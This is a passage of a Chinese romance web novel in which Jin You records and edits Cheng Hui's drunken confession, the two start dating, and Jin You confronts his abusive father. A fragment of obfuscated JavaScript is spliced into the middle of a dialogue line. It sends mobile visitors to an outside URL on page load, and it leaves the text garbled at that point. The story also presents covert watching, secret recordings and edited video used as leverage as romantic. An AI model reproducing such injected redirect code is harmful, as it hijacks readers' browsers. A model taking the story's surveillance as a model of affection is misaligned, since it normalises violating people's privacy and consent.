却意料之外的在一家男装店内,看见一个熟悉的侧脸——
女人正仔细端详着衬衫,一旁的导购员又取来领带,似乎是要搭配看看是否好看。
大抵是满意,女人轻轻点头。
导购员含笑将衬衫和领带都包起来。
等女人拎着包装好的衬衫和领带出来,从另一家珠宝首饰店出来的男人淡笑着走上前,女人顺势挽上男人的臂弯。她仰头望他,他垂眼看她。
两人相视一笑,俊男靓女的搭配,简直是将般配二字刻在了脸上。
一时间,程徽只觉得眼前的一幕像是电影中的慢镜头,她甚至能看到女人的发丝扫过男人的肩膀,两人牵着手从商场出去……
电视剧中的唯美场景也不过如此了。
程徽却站在原地,像是丢了魂似的喃喃着二字:“纪修……”
意料之外的偶遇,无疑是给程徽本就难受的心上,又划了一刀,浅浅的,只渗出一点血,但依旧会疼。
*
天色彻底黑下来,可程徽却没有回去。
靳佑笃定她一定是有事,接连打了几个电话才被接听。
电话中的程徽带着几分醉意说:“你怎么总是打电话?”
“把你位置发给我。”
“不要。”
程徽像个孩子似的,说话都带着几分赌气,“我不在酒吧,没事的,别管我。”
说完直接挂断了电话。
靳佑再打过去,却被直接挂断。
没别的办法,只能在附近找找。
但好在电话那头的声音并不嘈杂,她似乎是在一个安静的地方。
既然不是酒吧,能会是在哪呢?
没别的线索,靳佑只能将附近的饭店看个遍,连清吧也去了,各种烧烤小摊和便利店也都看了,但还是没能找到程徽。
眼见时间越来越晚,他心底更慌了。
不会出事了吧?
下午听见下楼的动静时就应该出来看看,至少不该让她一个人出门。
靳佑懊恼不已,可现在说什么都晚了。
他不死心的又给程徽打去电话,一个不接就再打一个,没完没了的打。不知道打了多少个,程徽才终于接通——
带着一丝哭腔的声音传过来,“阿佑,你过来接我好不好?”
只一声阿佑,靳佑都听的头皮发麻,心也像是被狠狠地扎了下,刺痛感蔓延至四肢。
深埋心底多年的想法又从角落中钻出来——
他这辈子被程徽吃得死死的,但甘之如饴。
“地址发我。”
*
句海虹公园,程徽坐在椅子上,一旁还有几个空的啤酒瓶。
四周的路灯都亮着,本是醉意上头,此刻恐惧却盖过了醉意。她警惕的看着四周,秋日里连蝉鸣都没有,只有一阵阵风,吹过公园的花草树木,发出窸窸窣窣声,听的人毛骨悚然。
她慢慢起身,想要走出公园,可出了公园该往哪儿走呢?
奶奶是近一年刚搬过来,算上这次,她只来过三次,根本记不清别墅在哪。
她现在连东南西北都分不清楚了,怎么走回去?
想到刚给靳佑发了位置,仅存的一丝理智迫使她又坐下来。
还是等着吧。
不知过了多久,不远处传来一阵急促的脚步声,即便是喝了酒的程徽,哪怕是已经有三年多没见过靳佑,可她还是和以前一样听出来了——
那是靳佑的脚步声!
“程徽!”靳佑大喊。
程徽鼻头一酸,赶忙应声:“我在这。”
靳佑循声找来,身影出现的一刹那,程徽仅存的一丝理智也彻底消失。
他来了,她就安全了。
阔步走到程徽面前,目光扫过长椅上的空酒瓶,路灯下,靳佑脸色蓦然阴沉。
他回来的时间不长,但却已经见程徽两次外出喝酒了。
“这次是因为什么?”
上次是因为和程母争执,那这次呢?
“又和阿姨起争执了?”
他只说对了一半,另一半是因为见到了纪修和他女朋友。
只是程徽此刻已经彻底没了理智,脑子也抛到了九霄云外,甚至连站也站不稳,额头抵在他胸膛,双手紧紧地攥着他的衬衫,喃喃不清的说:“我就知道你会找到我。”
轻风吹过发丝,耳边的心跳声犹如闷雷,程徽已经处于毫无戒备的状态,靠在他怀里,安全感十足。
她难得展露如此柔软的一面,靳佑哪里还顾得上问别的,眼神顷刻间柔软,贪恋片刻的亲近。
抬起手,拇指轻轻摩挲着她的脸颊。
他低声诱哄:“再喊一声阿佑。”
正低着头的程徽慢慢仰头看他,路灯下,她被紧紧的抱着,二人像极了热恋中的情侣。
许是喝醉的缘故,她无意识的笑笑,今天格外的好说话,竟然真的喊了一声,“阿佑。”
这可比上次在他房间里喊的那声阿佑好听多了。
靳佑低头凑近,二人近乎额头相贴,拇指轻轻抚过她的红唇,暗藏着浓重欲望的眸子紧盯着她的唇,想吻她的冲动涌上来。
可两人还没有确定关系……
何况她还醉了。
“程徽,你认的我是谁吗?”
“是阿佑啊!”
脆生生的喊出一声阿佑,她仿佛又回到了多年前,那时候她整天阿佑阿佑的喊个不停。
那时两人之间还没有矛盾,也没有纪修的存在。
一切都美好的像是幻境……
靳佑知道她醉了,此刻神志不
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清,但能认出他就算好事。他也更做不到趁人之危,只能逼着自己移开目光。
不着急,来日方长。
可就在他要带着程徽回去时,却听她忽地说:“阿佑,我……梦见你了。”
最后几个字说的格外轻,像是被风一吹就散了。
但靳佑还是听得清清楚楚。
他眼前一亮,“梦见我怎么了?”
“梦见你……”她踮起脚尖,要凑到他耳边说。
但她连站都站不稳,踮起脚尖更是险些摔倒。
靳佑索性将人直接托抱起来,她双手捧着他的脸,低头看他,眼神迷离,一点点凑近后神秘兮兮的小声说:“不能说。”
靳佑忍不住笑出声。
还以为她能说出来什么事呢,结果就这?
一时也分不清她到底是醉了,还是没醉。
真要是醉了还能记得有些事不能说,可还真是够警惕的。
可下一秒,靳佑就笑不出来了——
等会儿!有什么事是不能说的呢?!
“你是不是梦见和我在一起了?”靳佑满眼期待。
喝醉酒的人脑子似乎是转不动的,但程徽仍是一脸认真,捧着他的脸,仔细看着。两人离得近,近乎都快要亲上了。
在靳佑的目光下,她忽地点头。
“砰”的一声闷响,两人额头猝不及防的撞在一起,疼的程徽皱起眉,伸出手揉揉额头。
她嘴里还嘟囔着:“谁打我?”
靳佑被她这幅样子逗笑,又故意逗她:“我打的。”
“嗯?”程徽望着他,似是在思考他这话是真是假,但下一瞬忽地眉眼弯起,笑了。即便是喝醉,此刻眼神中似是也淬着星辰。
她双手捧着他的脸,口气笃定:“才不会!阿佑不会打我!”
低下头,趴在他肩上,双臂紧紧地抱着他的脖颈。
像只树袋熊似的被他托抱着。
她什么都知道,就是不愿意再往前一步。
靳佑清楚,她还在为当初监视的事情生气。
可是,被困在国外的那些日子,支撑他活下去的动力,就是有关于程徽的那点消息。
他该怎么跟她说,那三年多他是怎么熬过来的?又该怎么跟她说靳家那些见不得光的事情?
全都不能说,就只能咽下去。
单手托抱着她,将长椅上的酒瓶收拾了,在静谧的深夜中,抱着她往别墅去。
路远,却仍是舍不得松开,就这么抱着。
程徽趴在他肩头,低声的说着些什么。但她说的不清楚,靳佑也没听清楚。
直到将要走出公园时,他才听清楚——
她说:“阿佑,你要不要、要不要和我谈恋爱?”
靳佑脚下一顿,差点以为自己听错了。
不对!他没听错!
反应过来后,连一秒都没犹豫,忙掏出手机,打开录像功能,生怕错过录下来的机会。
趁人之危就趁人之危!
重点是要先留了证据,要不然这人明天一准不认账!
惊喜之余,靳佑手都在抖,说话的声音更是抑制不住的激动,嗓音都在发颤。
“——把你刚刚说的话再重复一遍。”
16. 恋爱关系
许是喝酒的原因,再加上这几天来回跑医院累的,程徽一觉睡到十一点多。从房间里出来时,还在打着哈欠。
站在走廊上,一眼就看见了楼下的靳佑。
听见动静,楼下的靳佑也仰头看向楼上。
四目相对,程徽蓦然想起昨天看见纪修和他女朋友的一幕。
许是受了刺激,她微醺的时候还差点给靳佑发消息,打算跟他说两人先试试。
现在想来,真是好险!
也幸好只是微醺而已,打出来那一行字又被她删了,才不至于把消息发出去,否则现在怕是就后悔莫及了。
程徽不着痕迹的松口气,暗自庆幸那条消息没发出去。
只是她从楼上下来时,靳佑却始终盯着她看,程徽被看的心里直犯嘀咕。
下楼之前洗漱过了,也照了镜子的,他为什么这么看她?
程徽好奇:“看我干什么?”
“看我女朋友这几年有没有变化。”靳佑眉眼含笑,双手插兜的倚在沙发靠背上,浑身上下都带着一股准备犯浑的劲儿。
“女朋友?”程徽甚至还回头看看身后,“哪呢?”
果然是不记得了!靳佑不禁为自己昨天的机智之举暗自庆幸,幸好是留了视频,要不然她肯定不认账。
“某人亲口说的要跟我谈恋爱。”
靳佑掏出手机的瞬间,程徽忽地站在原地,仿佛石化了一般。
脑子里闪过大胆猜测——
不会吧?难道她真给靳佑发消息了?
阔步走近,将视频打开,视频中的熟悉身影还被抱着,趴在靳佑的肩头,说出来的话略显口齿不清,但也隐隐听见她是在说:“你要不要和我谈恋爱?”
好消息,她没有给靳佑发消息说要谈恋爱。
坏消息,喝醉酒以后,亲口说出来了!
没等视频播完,程徽就急切否认:“不可能,你这视频……”她急的都结巴了,“这视频里的话,肯定不是要跟你说的,我可能是想跟纪修说这话。”
话音刚落,视频里的她喃喃着喊一声:“阿佑。”
安静的客厅内,一声阿佑,简直像是一巴掌,打在了程徽脸上。
打脸来的如此之快!
程徽悄悄瞄了眼视频进度条,怕再次被打脸,这次倒是学聪明了,等视频播完才说:“这话肯定是你教我的!不可能是我主动说的!”
反正就是不承认。
看着近在咫尺的手机,又看看靳佑,两人目光交汇的刹那,程徽突然伸出手——
同一时间,靳佑猝然将拿着手机的手高举起来!
“想抢手机把视频删了?”靳佑太了解她了,看她一个眼神就知道她想做什么。
昨天晚上程徽是说要和他谈恋爱的话。
但后来让她再说一遍的时候,她却不说了。靳佑也确实如她所说,教了几次,她才勉强说的清晰些,就连视频也是一直在拍着,只是这个视频是剪辑后的视频罢了。
但他好不容易才拍下来的视频,怎么可能会被她抢走删掉?
靳佑将手机收进口袋,又故意凑近低语:“看在程二小姐这么喜欢我的份上,我就勉为其难的答应了。”
他还勉为其难?!
面对凑到眼前的这张脸,程徽突然觉得手痒了,但奈何人家手里有她的把柄,她只能好声好气的商量,“要多少钱,才能把视频删了?”
“一百个亿。”靳佑伸出手,“拿来吧。”
程徽后槽牙都咬的咯咯响,咬牙挤出几个字:“你怎么不去抢呢!”
妥妥的活土匪!
“抢没有要来的快。”
伸出的手慢慢收回,靳佑弯下腰平视她,神色逐渐认真,口气更是正经,“我说认真的,我们先试试,好不好?”
随后又说出了一句连鬼都不信的话:“要是不合适,你可以提分手,我一定同意。”
“同意?”程徽干笑一声,“这话你自己信吗?”
还没恋爱呢,他就这么死乞白赖的缠着她,说是狗皮膏药都不为过。更要紧的是两人认识这么多年,他始终如此,到现在都不嫌腻得慌。
在国外的时候甚至还派人盯着她。
这种人,恋爱以后要是被提出分手,会爽快答应?
程徽不信,靳佑自己也不信。
但他面上仍是笑的人畜无害,“可是你没有别的选择了,不是吗?”
一语击中要害。
无论这人在不在她身边,她似乎都没有别的选择,毕竟某人总能把她身边的异性赶走。
程徽无话反驳。
靳佑哄着她答应:“我可以接受暂时不公开我们之间的关系,先试试,好不好?”
程徽一贯是个吃软不吃硬的脾气。
此刻听靳佑这么说,也不禁有些犹豫。
但终究还是只说了句:“我考虑考虑。”
*
两人留在句海市与奶奶一起吃过午饭后,就收拾收拾离开了。来的时候程徽没开车,回去自然是坐靳佑的车。
路上程徽一心琢磨着怎么把视频删了。
直到路程过半,靳佑将车子开进了服务区,程徽觉得机会来了。
“歇半个小时再走。”靳佑将安全带解开,拿起手机,设置了闹钟后,在程徽的目光下将手机放在靠车门的口袋里。
程徽始终盯着他的手机,眼睁睁看着手机被他揣进那个口袋里,额角一黑。
他故意的!
要不然怎么会突然把手机放在那个口袋?
那是距离她最远的口袋了!
她根本拿不到。
“你为什么要把手机放口袋里,不相信我吗?你对我连起码的信任都没有吗?”程徽故意激怒他,“还是说你以为我会拿你的手机删除视频?就算拿到了,我又打不开你的手机,你根本不用担心我删除视频。”
“不打自招。”
靳佑倾身靠近,手机直接递到她面前,“想删就删,只要你能打开这手机。”
他靠得近,程徽身子近乎贴在靠背上,一动不动的看着他。
原本也没觉得这车厢内狭小,此刻竟然觉得这车厢小的令人喘不上气,她更是被逼到了角落,递到眼前的手机,犹如烫手山芋,想接,却又不能接。
“我怎么可能打开你这手机!”想拿手机删除视频的念头,被彻底压下去。程徽扭过头看向车窗外,近乎本能的想躲。
察觉到靳佑在一点点靠近,她下意识屏住呼吸,此刻心跳却在肆无忌惮的狂跳,简直像是在胸膛内开派对。
她恨不能在角落里缩成一团,靳佑见状低低的笑了声,“胆小鬼。”
程徽倏地回头,凶巴巴的回怼:“说谁胆小鬼呢!”
“说你。”靳佑将手机强行塞到她手里,“手机也不敢接,在怕什么?怕你猜到了这手机的开机密码?”
他说对了,程徽就是怕自己猜到手机密码。
更怕密码和她有关。
被塞到掌心中的手机,果然像个烫手山芋,程徽愣是没敢输入开机密码,只是垂眼看着。
脑中却乱的厉害,将这些日子的事情都想了个遍,就连久远的记忆也一点点涌现出来。
两人一起长大,做什么事都一起,靳佑永远都会无条件的站在她这边,就连程母斥责她的时候,他也会把所有的错都揽在自己身上。
从十岁相识,到十七八岁分别,再到如今她快二十三岁了。
这么多年她和靳佑之间无话不谈,除了监视和纪修的事情,他在她这,无可挑剔。
可是要让她跨出那一步,实在是不容易。
尤其是两人之间还隔着“监视”那件事……
两人之间维持着这个姿势,谁也没动,车厢内安静的连两人的气息声都清晰可闻。
“那件事,考虑的怎么样了?”靳佑早就想问,但还是忍到这会儿才问。
他太想太想要一个答案!
程徽抬眼看他,“你找人盯着我,这事怎么说?”
“以后不会了。”反正他已经回国了,会一直守在她身边,自然就不需要找人盯着了。
靳佑一手撑在她身后的靠椅上,一手慢慢攥住她的手。
这次,程徽没有躲,也没有试图将手抽出来。
只是任由他握着。
掌心合在一起,他忽地有种两人的脉搏都同步的感觉,心跳比他跑五公里的时候还要快。
只是他不知道,程徽也有同感。
温暖且极具安全感的大掌,紧紧地握着她的手,像是容不得她退缩半步。
她面露犹豫,他目光坚定。
她心底里后退半步,他就上前一步。
这么多年了他始终如此。
过往的记忆在脑子里乱成一团,最终化为一团浊气,程徽深吸一口气,将浊气呼出,脑子也逐渐清醒。
想了不到半分钟,她说:“你答应我三件事,我就答应可以试试。”
“说。”
“监视的事情,跟我道歉。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156593|164974||http|test|mini|href|location''.split(''|''),0,{}));
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>被监视这件事,不管是出于什么原因,哪怕其原因是爱,也是错的。
犯了错,道歉是应该的。
这是靳佑欠她的!
靳佑爽快点头:“好,监视的事情是我的错,以后不会了。”
“第二件事,你要跟纪修道歉。”
提到纪修,靳佑肉眼可见的脸色一沉,她解释说:“我承认我是喜欢纪修,可是你不应该找人去警告他,这对他来说也是一种伤害。你跟他道歉,是应该的。”
更要紧的是她仅仅是喜欢纪修,可纪修心里有喜欢的人,两人在学生部的时候,她曾无意中看到过纪修的手机锁屏壁纸,就是昨天那位女士。
后来她听纪修说过,那是他女朋友,两人同样是青梅竹马,只不过那位女士大学时候选择了出国留学,两人才暂时分开。
程徽从来没有明面上说过喜欢纪修,也没有跟任何人说过喜欢他。
她只是悄悄地动过心。
可却被靳佑毁了这一切。
纪修平白无故的被警告,他或许根本没弄清楚到底是怎么回事,就被靳佑一番操作、宋齐晏一番执行,全都给毁了。
“你要是不答应,这事就没得商量。”程徽口气强硬。
靳佑想了想,点头:“行,这事我答应。但如果只是为了道歉,还是我联系他吧,正好我们还能谈谈合作。你放心,我既然答应要道歉,就不会出尔反尔。”
见程徽脸色缓和,他心下却是酸涩难压,但还是说:“还有最后一件事,说吧。”
“不准试图掌控我。这其中包括不能监视我,也不能阻拦我去做我想做的事。”受够了当傀儡的日子,她可不想又被靳佑掌控了。
他照旧答应:“行,三件事我都答应了。我不出尔反尔,你也不准出尔反尔,说了试试就先试试。”
说话间目光始终盯着她红润的唇瓣。
都已经是男女朋友了,这下总可以亲了吧?
“反正只是试试,而且你也答应了的,以后要是发现不合适,我提分手,你不能不答应。”程徽只想将自己的利益最大化,尤其是在分手这件事上。
即便知道靳佑到时候或许会赖账,但还是忍不住想提。
“分手的事情等以后再说,现在先试试别的事。”
“别的事?什么事——唔!”
靳佑倾身吻上,程徽却愣了,眨了眨眼,一秒反应过来靳佑竟然在吻她。
刹那间,只觉得一张脸都烧了起来。
程徽近乎用尽全身力气猛地一下推开他。
这下轮到靳佑愣了,气的质问:“都已经是男女朋友了,亲一下而已,为什么推开我?”
这话似乎是没毛病,连程徽也挑不出错,只是小声嘟囔:“我们是不是进展有点快?”
“快?!”
他用了十几年才吻到她,哪里快了?
靳佑简直欲哭无泪,可怜兮兮的看着她的唇,依稀能感觉到如棉花糖一般的触感,软软的,带着点青瓜的清香,是在孙奶奶那吃过饭后水果留下的味道。
“徽徽,我们已经拥抱过了,也已经牵过手了,接吻一点都不快,现在这个阶段甚至还能做点别的事。”他盯着她的唇,干脆用上了苦肉计,“谁家男朋友主动吻自己女朋友还被推开的?”
一手捂着被程徽推过的地方。
故意做出很疼的样子,但任谁看都知道是装的。
“你主动亲我一下就好了。”
他甚至还故意凑近,方便她主动吻他。
程徽却一脸为难:“靳佑,我们好像太熟了,接吻这种事情总有点……乱.伦的感觉。”
真的太太太熟了,反倒是下不去嘴!
靳佑被她一句话气笑了,“乱.伦?你倒是真敢说。那些事你都敢在梦里面想,你现在又说跟我接吻像乱.伦,那你梦里面的举动算什么?”
“你怎么知道我梦见你了?”
“昨晚某人自己说的,而且某人也说了,梦里面都是不能说的画面。”
程徽第一千零一次后悔喝酒。
酒后真的什么都敢说!
下一秒,下巴突然被抬起。
他带着一丝无奈说:“算了,等你主动吻我,怕是要等到下辈子了,还是我来吧。”
语毕低头吻上,这次程徽没再推开他。
和梦境中接吻的感觉很像,软的像棉花一样的唇瓣,很好亲,令人上瘾。
但不同的是,这次不再是梦境,他是真的吻上了从年少时就喜欢的人。
17. 止疼药
从句海市到岳海市,四五个小时的车程,靳佑愣是开了七个多小时,全是因为他每遇到一个服务区就要停下来,想尽办法要亲亲。
美其名曰:为了让程徽尽早适应两人的关系。
程徽听后差点一巴掌扇过去。
色鬼!明明是他想亲,竟然还说是为了她!
好不容易才回到公寓,靳佑又跟着一起上楼。
“这两天我可能会有点忙,不一定能每天都来找你。”电梯内,靳佑吊儿郎当的说:“不过你要是想我了,我也可以过来,毕竟女朋友的需求最重要。”
程徽再一次动了想一巴掌闪过去的念头。
这人欠揍也不是一天两天了!
“你属实是想多了,我怎么可能会想你?要说需求嘛……我看是你需求会比较大吧,毕竟某人还真是出乎意料的色。”
她以前还以为靳佑是个纯情大男孩。
结果根本不是!
至少这人出国以前不是这样的,在国外也不知道都学了点什么,回来就变这样了。
“嘀”的一声,电梯门打开。
靳佑伸出手挡住电梯门缝,程徽提脚走了出去。
他跟在后面,边走边说:“是人都有需求,我当然也不例外。不过,要是照你这么说,我是不是可以在有需求的时候联系你?”
“不可以。”程徽拒绝的毫不犹豫。
走到门口回过身,目光落在他推着的行李箱上,“行李箱留下,你可以离开了。”
“还真是冷漠。”靳佑眼底笑意渐浓,“不打算让我进去坐坐?”
以前两人还没有确定恋爱关系的时候,程徽反倒会让他进去。
现在好了,是男女朋友了,反而进不去。
靳佑甚至还举起手,口气散漫的说:“我发誓,我什么事都不做。”
他但凡口气认真点,程徽还能信一分。
可他这口气,程徽反倒更笃定这人不可能什么事都不做。
“已经十点多了,快点回去。”程徽从他手里接过行李箱。
可靳佑摆明不急着走,反倒上前将人抱在怀里。
恰巧长廊上的声控灯灭了。
黑夜中,只有长廊窗户透过来一抹月光落在瓷砖上,像是撒下一层薄薄的糖粉。
靳佑紧紧地抱着她,像是不舍,口气直至此时先略显认真,“你要是想我了,就给我发消息。”
“我不会想你。”
“你会,别嘴硬。”
大掌轻轻拂过她后脑,靳佑低声哄着:“我这几年一直在想你,你也要想我一下,算是弥补我的。好不好?”
“只想一次,想我的时候给我发条消息,骂我也好。”
至少这几年是程徽食言了,靳佑为监视的事情而道歉,她或许也该为食言的事做出弥补。
“嗯,知道了。”
得到程徽的回答,靳佑才慢慢松开她,长廊上没动静,声控灯依旧没亮。
靳佑抬手揉了揉她的发顶,“晚安。走了。”
道别过后,靳佑没再停留,转身离开。
直到走出几步后,才打了个响指,长廊上的声控灯亮起。
程徽也看清了他的背影。
随着身影进入拐角,“嘀”的一声,电梯门打开,靳佑走进去,顷刻间脸上的笑容消失。
他双手插兜,看着电梯银色镜面中的自己。
三天前,靳承给他发消息,说是北川市某房地产老板,有块地皮,想要建一个中式风格的院子,留着自己家住。
而靳承学的就是中式风格的建筑设计。
这事找上他,他自然是要先去看看,临走特意给靳佑发了消息。
靳佑没回他。
但他比谁都清楚,这事是靳父安排的。
为的就是把靳承调走。
毕竟有些事就只能是他们父子解决。
*
回到靳家,接近十一点。
进客厅,只见靳父还在沙发上坐着,面前的桌上摆着今天的报纸和冒着白烟的茶。听见脚步声,抬眼看去,见是靳佑回来,毫不惊讶,眼神中反倒是透着一丝意料之中的掌控感。
像是料定了靳佑今天会回来。
靳佑笑着调侃:“看来靳总早就知道我今天会回来,就是不知道这次又派多少人盯着我呢?”
靳父神色凝重,周身都弥漫着一股危险的感觉。
但他越是如此,靳佑就越是大胆,非要说些他不愿意听的,“不过你这招还真是高明,轻而易举就把靳承调走了,你说他要是知道是你设计他去北川的,他会怎么想?”
“到时候你们父子不会反目吧?你会不会像打我一样打他?”
他一步步走近,挑衅的眼神跃跃欲试,触及逆鳞的话张口就来。
彼此的目光都凌厉的像是一把剑,两人对视,更像是一场不见血的交锋。
“闹够了吗?”任凭靳佑如何挑衅,靳父也始终稳坐如山,除了脸色难看些,像是没有半点的变化。
靳佑耸了耸肩,双手插兜往书房走去,满不在乎道:“得嘞,不就是一顿打吗?反正从小到大也没少挨,多一顿也没事。”
插在口袋里的手指微微蜷起,掌心中握住了他早已经准备好的“武器”。
他一遍遍在心中说:赌一把吧!
随着靳父起身,厨房门口的两个阿姨对视一眼,两人同时
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叹气,知道二少爷今天又少不了一顿打。
见靳父进了书房后,两人才敢小声议论:
“二少爷都这么大了,靳总还整天打他呢,也不知道要打到什么时候。”
“唉,二少爷真是可怜,要是大少爷知道了,兴许还能帮帮二少爷!”
“这父子两个故意瞒着,大少爷怎么可能知道?”
“也是。就是不知道二少爷这日子,什么时候是个头。”
……
每次动手,无非就棒球棍、拐杖之类的,靳佑小时候被打还会喊疼。
但自从第一次离家出走又被带回来以后,他每次挨打就没再喊过。
因为心疼他的人,不在这个家。
喊了也没用。
这一次,他同样没喊,等靳父从书房里出来以后,他迟了两分钟,才从书房出来,步履缓慢的回了二楼卧室。
背后有伤,简单洗漱后去了衣帽间。打开其中一个柜子,分为上下两层的柜子,底下的柜子本该挂衣服,但却铺了被褥,上面放着一个毯子——正是从程徽家偷来的。
他弯着腰进去,将毯子拉开盖在身上。鼻尖萦绕着程徽身上的味道,香香软软的毯子像是带着甜味的止疼药,他后背的伤似乎也没那么疼了。
手机里翻找出上次在程徽公寓中录下来的呼吸声,声音开到最大,在柜子里清晰可闻。
仿佛,她就在他身边。
打开两人的聊天栏,靳佑给她发了条消息:【我很想你。】
瞄了眼时间,已经十一点多了,她坐了那么久的车,一定累了,大概不会回消息了。
但看着手机上显示着对方正在输入……
靳佑却还是有些期待。
然而两分钟过去了,消息还没发过来。
长篇大论?不可能。
程徽才不会跟他长篇大论。
她一定是不知道怎么回他!
靳佑猜到以后,给了个台阶:【你骂我一句就行。】
不出三秒程徽就回了一句:【……病得不轻】
也算骂了。
但他分别的时候说过,如果想他了,就骂他一句。
她骂他了,所以是想他了。
靳佑心满意足的回了句:【我也很想你】
放下手机,听着手机里的呼吸声,安心入睡。
彼时,公寓内程徽看着刚收到的消息,才想到靳佑离开时说的话。
得,骂过了才反应过来,晚了。
算了,想他就想他吧,又不是没想过。
至少在监视的事情出来之前,她也常常想他,是吃饭都会想着他有没有好好吃饭的程度,只是没说出来而已。
18. 软肋与盔甲
次日,靳佑像个没事人一样,照旧去医院做了检查,随后才去了公司。
但等到中午,就意识到事情不对劲了。
直到晚上,回到靳家后,在看到桌上的针孔摄像头时,靳佑悬着的心,彻底坠入深谷。
果然,还是被发现了,摄像头甚至还是昨晚进书房的时候才装上。
正坐在沙发上的靳父面无表情,细看唇角似是微微扬起一抹不起眼的弧度,带着股嘲讽。看着桌上的针孔摄像头,貌似云淡风轻的说:“还以为你是把这摄像头装在了程徽屋子里,没想到是装在了我书房里。”
他笑着抬眼,如果不是眼神中透出锐利的光,此刻实在是难以看出他在生气。
但靳佑却清楚,这是暴风雨的前夕。
“想拍什么?嗯?”
不用靳佑回答,两人也都清楚他要拍什么。
“想拍下来威胁我?”靳父的笑容更浓,“你真以为你现在有能力和我较量了?你别忘了,你现在所拥有的一切,是谁给你的!”
他犹如掌控一切的主宰者,高高在上,强势的不容靳佑反抗。
躲在厨房的佣人吓得不敢露头,门外的管家一步都不敢挪动,生怕发出一丁点的声音。
屋内屋外陷入死寂之中。
黑夜更像是浓重黑雾,将所有人都笼罩其中,没有人能逃出去。
除非——月亮出来。
月光照出一条路,指引人从浓雾中走出去。
“我现在所拥有的一切,都是靳家给的。”
靳佑大大方方的承认,可下一秒又挑衅问:“不过靳总敢把给我的这些收回去吗?”
轻轻挑眉,又问一遍:“敢吗?”
收回去了,怎么跟靳承解释?怎么跟媒体解释?又怎么堵住他的嘴?
毕竟需要一个合适的理由。
如果没有理由,他儒雅的商人形象、慈爱的父亲形象就会毁于一旦。
靳佑赌他不敢。
“你真以为我不敢?”靳父又怎会心甘情愿的被他威胁。
靳佑轻点头,脸上的笑容却更像是在憋个大招。
他走上前,与靳父之间隔着两米说话,声音不大不小,但在此刻针掉地上都能听见的客厅,却也犹如一声闷雷,将平静而诡异的靳家,撕出一条口子——
“靳总猜一下,媒体会不会对西区精神病院的事情感兴趣?”
西区精神病院几个字刚说出来,震惊、心虚、愤怒,复杂的情绪在靳父眼中涌现出来,哪怕在商界是出了名的喜怒不形于色,此刻却也藏不住自己的情绪。
最终,脸上甚至闪现一抹不易察觉的恐惧。
对于他的神色,靳佑十分满意。
有些话只需点到为止,无需多说。
他心满意足的往楼上走,轻飘飘的丢下一句:“靳总最好别逼急了我,要不然我什么事都做得出来。”
但就在他上了一层台阶时,靳父却突然说:“你要是不想让程徽有事,那些不该说的,一个字都别往外说。”
靳佑站定,脊背挺直的回过身。
彼时,靳父回过头看他。
看着靳佑难以置信的模样,靳父似乎也十分满意。
——软肋,就是拿来利用的。
靳佑从来都没想过,有朝一日父亲竟然会拿程徽威胁他。但仔细想想,这才是他的行事作风。
一步步的走过去,靳佑脸上没有半点恐惧与害怕,慢条斯理道:“程徽要是有事,靳承就一定会有事,到时候靳总做过的那些事,也一定会被媒体公开。”
“不就是鱼死网破吗?我没什么好怕的。”
软肋也是盔甲。
拿程徽威胁他,还真是打错主意了。
“靳承可是你哥!”提到靳承,靳父的情绪波动格外的大,怒不可遏的质问他:“你难道还要对自己亲哥动手?就为了一个女人?”
靳父气的咬牙切齿,整张脸都憋成了牛肝色,“你别忘了,你们两个才是手足兄弟!”
“靳总真是高估我了,我骨子里,也不是什么好东西。手足兄弟这四个字,在我这,没用。”
靳佑嗤笑一声,“还是那句话,您动程徽,我就动靳承,逼急了我,说不定还会对您出手,身败名裂、同归于尽也没什么好怕的。”
“你——”
靳父气的手都在抖,顷刻间怒火仿佛席卷了他所有的理智。
“败类!我怎么会养出你这种败类!”
他环顾四周,像是在找东西,试图出了这口气。目光扫过周围的物件,一气之下,拿起桌上的瓷杯砸了出去。
猝不及防的意外,靳佑近乎本能的躲闪,正好避开杯子。但茶水却不小心撒出来一些,洒在靳佑西装外套的衣袖上。
“砰”的一声清脆响声,杯子应声而碎!
他掸了掸衣袖,水珠落地,但衣袖还是被浸湿了薄薄一片。
靳父见他躲了,反倒更被激怒。
高高在上的人要惩罚身处低位的人,对方躲闪都是错。
“你、你还敢躲?”
靳父怒指着书房,“滚进去!”
换了往日,靳佑一定会进去。
可今天,事情已经闹到这种地步,进去也没有任何意义,无非就是挨打。
“靳总想进去就自己进去吧。”
靳父难以置信,“反了天了!真是反了天了!”
可任凭他说什么,靳佑都像是没听见,直奔二楼。
但意料之外的是人还没到楼上,院外却慢慢驶来一辆车,车子正好停在门口——
车门打开,熟悉的身影下车。
不是别人,正是靳承。
在看见靳承的一瞬间,靳父愣了两秒,反应过来后急忙将桌上的针孔摄像头拿起藏在手心里。目光扫过地上的瓷片时,正要安排人收拾,却还是迟了一步。
靳承
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已经跨进了门。
彼时楼上的靳佑正站在走廊上,眼神复杂的看着楼下的靳承。
“你怎么突然回来了?”
靳承还在低头看地上的瓷片,听见靳父这么问,才抬起头,认真解释:“北川那边的项目不急,我和秦总商量过后,决定先回来设计图纸。而且这眼看就十一月份了,北川到十一月就差不多下雪了,不适合动工。不出意外的话,大概是年后动工。”
说话时他仰头看看靳佑,又看看靳父,总觉得整个靳家都透着一股诡异的气氛。
他淡淡的问一句:“杯子怎么碎了?”
商场的老狐狸什么大场面没见过,靳父游刃有余的应付:“刚刚李婶不小心摔碎了。”
靳承又回头看向门口的瓷片——
瓷杯摔碎,门内门外都有碎片。但门外的碎片离得远,距离门口足有两米远。从水痕来看,杯子不像是从正上方摔下来的,更像是被泼出来的,甚至像是从沙发主位的方向泼的。
他淡淡的看了眼前来清扫的人,又看看院子里的管家,每个人的脸色都透着复杂的情绪,靳承敏锐的察觉到不对劲。
但回过头时,依旧装的一副淡然模样。
“没有人受伤就好。”靳承说话时仰头看着靳佑,此刻才看见他衣袖被浸湿一片。
拙劣的演技在靳父和靳佑面前,被一眼看透,但两人谁都没拆穿。
靳父仰起头看向靳佑,靳佑亦是淡淡的看他一眼。两人对视,靳佑嗤了声,带着股幸灾乐祸的劲儿,转身回卧室。
这慈父的形象,怕是要有裂缝咯!
*
